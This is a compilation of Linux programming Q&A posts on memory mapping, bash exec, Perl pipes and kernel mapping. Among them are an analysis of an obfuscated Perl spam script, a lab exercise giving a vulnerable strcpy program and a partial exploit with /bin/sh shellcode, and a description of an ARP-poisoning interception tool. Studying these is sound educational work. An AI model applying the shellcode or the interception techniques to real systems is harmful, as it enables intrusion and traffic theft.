Best linux questions in March 2012

Decrypt obfuscated perl script

12 votes

Had some spam issues on my server and, after finding out and removing some Perl and PHP scripts I'm down to checking what they really do, although I'm a senior PHP programmer I have little experience with Perl, can anyone give me a hand with the script here:

http://pastebin.com/MKiN8ifp

(It was one long line of code, script was called list.pl)


The start of the script is:

$??s:;s:s;;$?::s;(.*); ]="&\%[=.*.,-))'-,-#-*.).<.'.+-<-~-#,~-.-,.+,~-{-,.<'`.{'`'<-<--):)++,+#,-.{).+,,~+{+,,<)..})<.{.)-,.+.,.)-#):)++,+#,-.{).+,,~+{+,,<)..})<*{.}'`'<-<--):)++,+#,-.{).+:,+,+,',~+*+~+~+{+<+,)..})<'`'<.{'`'<'<-}.<)'+'.:*}.*.'-|-<.+):)~*{)~)|)++,+#,-.{).+:,+,+,',~+*+~+~+{+<+,)..})

It continues with precious few non-punctuation characters until the very end:

0-9\;\\_rs}&a-h;;s;(.*);$_;see;

Replace the s;(.*);$_;see; with print to get this. Replace s;(.*);$_;see; again with print in the first half of the payload to get this, which is the decryption code. The second half of the payload is the code to decrypt, but I can't go any further with it, because as you see, the decryption code is looking for a key in an envvar or a cookie (so that only the script's creator can control it or decode it, presumably), and I don't have that key. This is actually reasonably cleverly done.

Exploiting a BufferOverflow

10 votes

I'm working on a project in which I'm supposed to write a C program to exploit the vulnerability of a given program.

Here is the vulnerable C program:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

And here is the code for exploit:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}

So, I need to fill the buffer with appropriate contents before saving to the "badfile". I've read a lot about buffer overflows and I guess I need to modify the return address of the vulnerable program. But I really don't know how I'm supposed to do it. Shall I first find the original return address or is there something else that I can do? Also, any ideas/suggestions about how I'm supposed to implement the buffer?

I suggest reading the pages on Metasploit Unleashed, starting with this one. You can go through the associated ruby modules, to see what is actually going on, and port to C. While non trivial, it demonstrates the methods needed.

Also as others have suggested, using a debugger is important to figure out what is going on. Getting a decent one, such as cgdb, ddd, pyclewn, or gdb-mode, will make life much easier.

Reducing seek times when reading many small files

9 votes

I need to write some code (in any language) to process 10,000 files that reside on a local Linux filesystem. Each file is ~500KB in size, and consists of fixed-size records of 4KB each.

The processing time per record is negligible, and the records can be processed in any order, both within and across different files.

A naïve implementation would read the files one by one, in some arbitrary order. However, since my disks are very fast to read but slow to seek, this will almost certainly produce code that's bound by disk seeks.

Is there any way to code the reading up so that it's bound by disk throughput rather than seek time?

One line of inquiry is to try and get an approximate idea of where the files reside on disk, and use that to sequence the reads. However, I am not sure what API could be used to do that.

I am of course open to any other ideas.

The filesystem is ext4, but that's negotiable.

Perhaps you could do the reads by scheduling all of them in quick succession with aio_read. That would put all reads in the filesystem read queue at once, and then the filesystem implementation is free to complete the reads in a way that minimizes seeks.

Good sound libraries?

8 votes

I need to take an audio signal, and extract overlapping audio frames from it. I then need to convert these to frequency data (FFT stuff / like a spectrogram) and analyze the frequency information.

For example, if I have a 1 minute mp3 file, I want split the file into smaller files, from 00:00.000 to 00:03.000, from 00:00.010 to 00:03.010. Then I need to see the frequency breakdown of each sub-file.

Which programming languages have good audio tools that could help me do this? Are there linux command-line tools I could use? Bonus points for Node.js (yeah right) or Haskell, which I'm most familiar with.

Haskell:

http://hackage.haskell.org/package/hsndfile. Then it's mainly just math, I'd imagine, with hmatrix and soforth.

Emacs in TTY + keyboard bindings

8 votes

I'm using emacs in TTY mode (-nw), and I can use most of the key bindings out of the box. However, there are key combinations I cannot find the xterm escape sequences for (like C-;, C-<, C->, etc.) I would like to configure my terminal emulator to send them, but can't find out where to start.

I also don't want to resort to defining custom escape sequences that I will later configure emacs to interpret via key remapping.

Any ideas/pointers I can use?

First answer of this question will explain it: http://superuser.com/questions/83166/using-c-m-to-do-a-query-replace-regexp-in-emacs-running-in-mac-terminal

Basically there are just some key codes that cannot be sent to terminal applications. I have noticed this behavior a number of times; C-4 does not work the same way it does for me in the GUI version of Emacs.

Read unbuffered data from pipe in Perl

7 votes

I am trying to read unbufferd data from a pipe in Perl. For example in the program below:

open FILE,"-|","iostat -dx 10 5";
$old=select FILE;
$|=1;
select $old;
$|=1;

foreach $i (<FILE>) {
  print "GOT: $i\n";
}

iostat spits out data every 10 seconds (five times). You would expect this program to do the same. However, instead it appears to hang for 50 seconds (i.e. 10x5), after which it spits out all the data.

How can I get the to return whatever data is available (in an unbuffered manner), without waiting all the way for EOF?

P.S. I have seen numerous references to this under Windows - I am doing this under Linux.

#!/usr/bin/env perl

use strict;
use warnings;



open(PIPE, "iostat -dx 10 1 |")       || die "couldn't start pipe: $!";

while (my $line = <PIPE>) {
    print "Got line number $. from pipe: $line";
}

close(PIPE)                           || die "couldn't close pipe: $! $?";

How to map 1GB (or more) of physical memory

6 votes

I have a setup with 2GB of memory and I would like to map 1GB (or more) of physical memory into user space virtual address. It is in theory possible since with 32bits setup, 3GB of virtual address is available to user land apps.

I updated the kernel command line with the following parameters: mem=1G memmap=1G$1G to force the kernel to see 1GB of RAM and to reserve the last 1GB.

I have my custom driver that will handle the user space mmap() call and map the physical address 0x40000000 (1G) to user space address with the function remap_pfn_range(). But the function triggers a kernel BUG() in remap_pte_range(). The same call used to work with a 300MB remap instead of 1GB.

I usually use to call ioremap() in my driver to map physical address into kernel virtual address. In this case, I can't because of 1G/3G virtual addresses split (1G for kernel, 3G for apps). So I was wondering if it is possible to map physical address into user space virtual address without mapping these physical address in the kernel ?

Thanks in advance.

Why does your remap_pfn_range call trigger a kernel BUG()

The call to the BUG_ON macro in remap_pfn_range as per here

2277 BUG_ON(addr >= end);

remap_pfn_range calls remap_pud_range which calls remap_pmd_range which calls remap_pte_range.

Subsequent calls to BUG_ON or VM_BUG_ON from remap_pmd_range here

2191 VM_BUG_ON(pmd_trans_huge(*pmd));

and from remap_pte_range here

2171 BUG_ON(!pte_none(*pte));

BUG_ON macro is defined here

as

#define BUG_ON(condition) do { if (unlikely(condition)) BUG(); } while(0)

where BUG macro is defined above it to print a message and panic.

unlikely macro is defined here

as # define unlikely(x) (__builtin_expect(!!(x), 0)).

So when the target user address to start at addr is greater than or equal to end which is defined as end = addr + PAGE_ALIGN(size);, BUG_ON returns 1 and calls BUG.

Or when pmd_trans_huge as defined here

153 #ifdef CONFIG_TRANSPARENT_HUGEPAGE
154 static inline int pmd_trans_splitting(pmd_t pmd)
155 {
156         return pmd_val(pmd) & _PAGE_SPLITTING;
157 }
158 
159 static inline int pmd_trans_huge(pmd_t pmd)
160 {
161         return pmd_val(pmd) & _PAGE_PSE;
162 }
163 
164 static inline int has_transparent_hugepage(void)
165 {
166         return cpu_has_pse;
167 }

returns 0, this occurs when CONFIG_TRANSPARENT_HUGEPAGE isn't configured in the kernel or if the pmd (Page Metadate) value or & _PAGE_PSE

Or whenpte_none returns 1 if the corresponding entry does not exist and 0 if it exists.

Therefore !pte_none returns 0 when the corresponding page table entry does not exist and 1 other wise as the condition passed into BUG_ON.

If the page table entry already exists then the call to BUG macro occurs.

What happens if you specify a lower a amount of memory than !GB that is greater than 300MB , say 500MB or 800MB ?

So either your starting address is greater than your ending address, or you CONFIG_TRANSPARENT_HUGEPAGE isn't configured in the kernel or you are referring to Page Metadata doesn't exist or Page Table entries that already exist.

Clarifying from the comments, your call to remap_pfn_range references Page Table Entry pointers or *ptethat are already pointing to a page table entry or pte.

This means that set_pte_at(mm, addr, pte, pte_mkspecial(pfn_pte(pfn, prot))); would fail as the pte pointer already points to a page table entry and hence can't be set to the pte that is pte_mkspecial(pfn_pte(pfn, prot)).

Bypassing the 1G /3G virtual address split

See the following article High Memory In The Linux Kernel

See the following mailing list post, which discusses some additional information about HIGHMEM with a minimum of 1GB of RAM.

Information on mapping kernel and non kernel virtual address space to user land

One way to map kernel virtual addresses and non kernel (returned by vmalloc()) virtual addresses to userspace is using remap_pfn_range. See Linux Memory Mapping for additional information.

Another way that replaced the usage of the nopage handler on older kernels is the vm_insert_page function

Additional Resources include:

How to prevent user from reading strings stored in stack?

6 votes

Here's a minimal test case:

#include <stdio.h>
#include <stdlib.h>

int main ( int argc , char **argv )
{
        const char abc [15] = "abcdefg\0";
        printf ("%s\n" , abc);
        return 0;
}

And you do strings test , you should see abcdefg , as it's stored in read only area.

So , what's the best way to prevent user from reading this string , with "strings" command , e.g I don't want users to know my SQL phrase

One solution would be to write an additional program that runs as another user, and read credentials from a location where it is not accessible by users you want to protect credentials from. This program would expose an API (through TCP/IP or any message passing interface or remote procedure call) that do not need to connect to the database directly, but responds only to requests you're interested in.

Another approach is to set the setuid bit on your program, and read credentials from a location where users have no read access. Give the program an owner that is allowed to read the file containing the query, using chown. When executed, your program will obtain privileges to read the file.

Like said in Nawaz answer (and Binyamin Sharet), you could use obfuscation techniques to make it harder to read the query (in particular, it would not work with strings anymore), but keep in mind that someone with more knowledge will be able to find the string using a deassembler or a debugger, or simply by running your program in strace. It makes this approach unsuitable to store sensitive information, like connection credentials: as long as a binary can connect, it contains credential, anyone with some knowledge in computer security know that and may revert engineer your program to retrieve your password.

As a general guideline, if you need to protect information from a user executing your program, never giving this information to the program is the only way to make sure it can't be read.

I have an issue with Linux's network stack while sniffing packets

6 votes

I have a question for the Low-level networking/Linux gurus,

I have to build two tools for a security project at my university. The first tool is an ARP Poisonning attacker which will poison the ARP cache from a remote host in order to retrieve the data he is sending to another host. I wrote this tool in C using RAW sockets and it works perfectly, i am able to intercept the data transmitted from a host A to a host B and from the host B back to the host A.

The problem comes when writing the second tool which is a sniffer whose purpose is to read/edit/drop packets coming from host A or host B. I imagined a system where when I spot a packet coming from one of those hosts, my program will ask me if I want to let this packet pass, if I want to modify it or if I simply want to drop it. I activated the IP forwarding in linux using

sysctl -w net.ipv4.ip_forward=1

and i am able to read all the data travelling between the two hosts. But i don't know how to edit/drop those packets since it is the role of linux's network stack to manage the input and the output of the packets coming from my network interface. I'm acting only as a passive attacker if you want.

My first idea was to disable the ip forwarding and manage the routing of the packets myself. But when I disable the ip forwarding, I am simply not able to get any data coming from A or B, this is because the linux's network stack drops automatically the packets in kernel mode which IP address is not destined to my computer.

I tried then to activate the promiscuous mode, but this was unecessary since this mode only operates on the physical layer (sees if the target MAC address in the Ethernet received packet matches the MAC address on the local interface). So basically, promiscuous mode helps us to avoid the physical filter of the linux's stack but not the logical one (the target IP address in the packet I am receiving is B's IP address and not mine, so linux's network stack simply drops the packet).

So my question is, how can I manage to edit the packets I am receiving and send them back or simply dropping them if I want to. I know this is a tricky question, I have made some research to find the solution on my own but I didn't find a satisfying answer.

I know there is a solution with iptables, we can ask him to let pass some packets from a certain IP address, but I don't want a solution involving a third-party tool, I want to encapsulate everything in my program.

For information, the development environment is Linux/Ubuntu Kernel 3.0.0-16, and everything is made using the C language.

I figured out why I wasn't receiving any packets when i disabled ip_forwarding. I ran many tests after posting my question here and I realized that when ip_forwarding was disabled, the remote host was sending me very strange TCP packets about every ~10 secs.

In fact, those TCP packets were flagged by wireshark as "TCP retransmission" packets, this is because the remote host was sending me an initial TCP packet and i didn't re-route it to the proper gateway so he didn't get any response.

The default behavior in this case for the remote host was to resend this packet at different time interval, this is actually the normal way a TCP stack should behave. But what I didn't know is that until the remote host doesn't get a response to his initial TCP packet, he will not send any others (for the same application only). So when i was hitting "F5" in the remote host's browser I thought he would generate TCP traffic although he will not get any response and I wasn't aware of this particular behavior of the TCP stack so I simply thought I wasn't getting any answer. The other host (the gateway) was acting exactly the same way, so I can tell that I was wrong thinking Linux's stack was blocking the remote host packets.

What I have to do now is simply re-route properly to the gateway the data I want to let pass and ignore the others. Thank you for your help, hope this might help someone someday.

Why mmap() is faster than sequential IO?

6 votes

Possible Duplicate:
mmap() vs. reading blocks

I heard (read it on the internet somewhere) that mmap() is faster than sequential IO. Is this correct? If yes then why it is faster?

  • mmap() is not reading sequentially.
  • mmap() has to fetch from the disk itself same as read() does
  • The mapped area is not sequential - so no DMA (?).

So mmap() should actually be slower than read() from a file? Which of my assumptions above are wrong?

I heard (read it on the internet somewhere) that mmap() is faster than sequential IO. Is this correct? If yes then why it is faster?

Yes - it's typically (and often massively) faster. Reasons below....

1) mmap() is not reading sequentially. 2) mmap() has to fetch from the disk itself same as read() does 3) The mapped area is not sequential - so no DMA (?).

So mmap() should actually be slower than read() from a file? Which of my assumptions above are wrong?

1) is wrong... mmap() assigns a region of virtual address space corresponding to file content... whenever a page in that address space is accessed, physical RAM is found to back the virtual addresses and the corresponding disk content is faulted into that RAM. So, the order in which reads are done from the disk matches the order of access. It's a "lazy" I/O mechanism. If, for example, you needed to index into a huge hash table that was to be read from disk, then mmaping the file and starting to do access means the disk I/O is not done sequentially and may therefore result in longer elapsed time until the entire file is read into memory, but while that's happening lookups are succeeding and dependent work can be undertaken, and if parts of the file are never actually needed they're not read (allow for the granuality of disk and memory pages).

2) absolutely true

3) "The mapped area is not sequential" is vague. Memory mapped regions are "contiguous" (sequential) in virtual address space. We've discussed disk I/O being sequential above. Or, are you thinking of something else? Anyway, while pages are being faulted in, they may indeed be transferred using DMA.

Further, there are other reasons why memory mapping tends to outperform usual I/O:

  • there's less copying: often library level routines pass data through one or more buffers before it reaches some application-usable location or storage, whereas memory mapping facilitates in-place usage, particularly as:
    • memory mapping can simplify the application's parsing job by letting the application treat the entire file content as accessible, rather than worrying about when to read another buffer full
  • the application defers more to the OS's wisdom re number of pages that are in physical RAM at any single point in time, effectively sharing a direct-access disk cache with the application
  • as well-wisher comments below, "using memory maping you typically use less system calls"

Never seen before C method of initialization of an array of structs found in the Linux kernel source

6 votes
55 typedef struct pidmap {
56         atomic_t nr_free;
57         void *page;
58 } pidmap_t;
59 
60 static pidmap_t pidmap_array[PIDMAP_ENTRIES] =
61          { [ 0 ... PIDMAP_ENTRIES-1 ] = { ATOMIC_INIT(BITS_PER_PAGE), NULL } };

The code snippet above shows the initialization of an array of a structs that I found in the Linux kernel source. I have never seen this form of initialization before and I couldn't simulate the same thing on my own. What am I missing actually?

Source of the code

It is a GNU/GCC extension called Designated Initializers. You can find more information about it in the GCC documentation.

To initialize a range of elements to the same value, write [first ... last] = value. This is a GNU extension

Need explanations in Linux bash builtin exec command behavior

6 votes

From this link I get the following about exec bash builtin command:

If command is supplied, it replaces the shell without creating a new process.

Now I have the following bash script:


#!/bin/bash
exec ls;
echo 123;
exit 0

This executed, I got this:

cleanup.sh ex1.bash file.bash file.bash~ output.log //files from the current directory

Now, if I have this script:


#!/bin/bash
exec ls | cat
echo 123

exit 0

I get the following output:


cleanup.sh
ex1.bash
file.bash
file.bash~
output.log
123

My question is:

If when exec is invoked it replaces the shell without creating a new process, why when put | cat, the echo 123 is printed, but without it, it isn't. So, I would be happy if someone can explain what's the logic of this behavior.

Thanks.

EDIT: After @torek response, I get an even harder to explain behavior:

1.exec ls>out command creates the out file and put in it the ls's command result;

2.exec ls>out1 ls>out2 creates only the files, but do not put inside any result. If the command works as suggested, I think the command number 2 should have the same result as command number 1 (even more, I think it should not have had created the out2 file).

@Pavan Manjunath is not entirely wrong: exec can be used to redirect file descriptors. However, that's not what is happening in this case.

In this particular case, you have the exec in a pipeline. In order to execute a series of pipeline commands, the shell must initially fork, making a sub-shell. (Specifically it has to create the pipe, then fork, so that everything run "on the left" of the pipe can have its output sent to whatever is "on the right" of the pipe.)

To see that this is in fact what is happening, compare:

{ ls; echo this too; } | cat

with:

{ exec ls; echo this too; } | cat

The former runs ls without leaving the sub-shell, so that this sub-shell is therefore still around to run the echo. The latter runs ls by leaving the sub-shell, which is therefore no longer there to do the echo, and this too is not printed.

(The use of curly-braces { cmd1; cmd2; } normally suppresses the sub-shell fork action that you get with parentheses (cmd1; cmd2), but in the case of a pipe, the fork is "forced", as it were.)

Redirection of the current shell happens only if there is "nothing to run", as it were, after the word exec. Thus, e.g., exec >stdout 4<input 5>>append modifies the current shell, but exec foo >stdout 4<input 5>>append tries to exec command foo. [Note: this is not strictly accurate; see addendum.]

Interestingly, in an interactive shell, after exec foo >output fails because there is no command foo, the shell sticks around, but stdout remains redirected to file output. (You can recover with exec >/dev/tty. In a script, the failure to exec foo terminates the script.)


With a tip of the hat to @Pumbaa80, here's something even more illustrative:

#! /bin/bash
shopt -s execfail
exec ls | cat -E
echo this goes to stdout
echo this goes to stderr 1>&2

(note: cat -E is simplified down from my usual cat -vET, which is my handy go-to for "let me see non-printing characters in a recognizable way"). When this script is run, the output from ls has cat -E applied (on Linux this makes end-of-line visible as a $ sign), but the output sent to stdout and stderr (on the remaining two lines) is not redirected. Change the | cat -E to > out and, after the script runs, observe the contents of file out: the final two echos are not in there.

Now change the ls to foo (or some other command that will not be found) and run the script again. This time the output is:

$ ./demo.sh
./demo.sh: line 3: exec: foo: not found
this goes to stderr

and the file out now has the contents produced by the first echo line.

This makes what exec "really does" as obvious as possible (but no more obvious, as Albert Einstein did not put it :-) ).

Normally, when the shell goes to execute a "simple command" (see the manual page for the precise definition, but this specifically excludes the commands in a "pipeline"), it prepares any I/O redirection operations specified with <, >, and so on by opening the files needed. Then the shell invokes fork (or some equivalent but more-efficient variant like vfork or clone depending on underlying OS, configuration, etc), and, in the child process, rearranges the open file descriptors (using dup2 calls or equivalent) to achieve the desired final arrangements: > out moves the open descriptor to fd 1—stdout—while 6> out moves the open descriptor to fd 6.

If you specify the exec keyword, though, the shell suppresses the fork step. It does all the file opening and file-descriptor-rearranging as usual, but this time, it affects any and all subsequent commands. Finally, having done all the redirections, the shell attempts to execve() (in the system-call sense) the command, if there is one. If there is no command, or if the execve() call fails and the shell is supposed to continue running (is interactive or you have set execfail), the shell soldiers on. If the execve() succeeds, the shell no longer exists, having been replaced by the new command. If execfail is unset and the shell is not interactive, the shell exits.

(There's also the added complication of the command_not_found_handle shell function: bash's exec seems to suppress running it, based on test results. The exec keyword in general makes the shell not look at its own functions, i.e., if you have a shell function f, running f as a simple command runs the shell function, as does (f) which runs it in a sub-shell, but running (exec f) skips over it.)


As for why ls>out1 ls>out2 creates two files (with or without an exec), this is simple enough: the shell opens each redirection, and then uses dup2 to move the file descriptors. If you have two ordinary > redirects, the shell opens both, moves the first one to fd 1 (stdout), then moves the second one to fd 1 (stdout again), closing the first in the process. Finally, it runs ls ls, because that's what's left after removing the >out1 >out2. As long as there is no file named ls, the ls command complains to stderr, and writes nothing to stdout.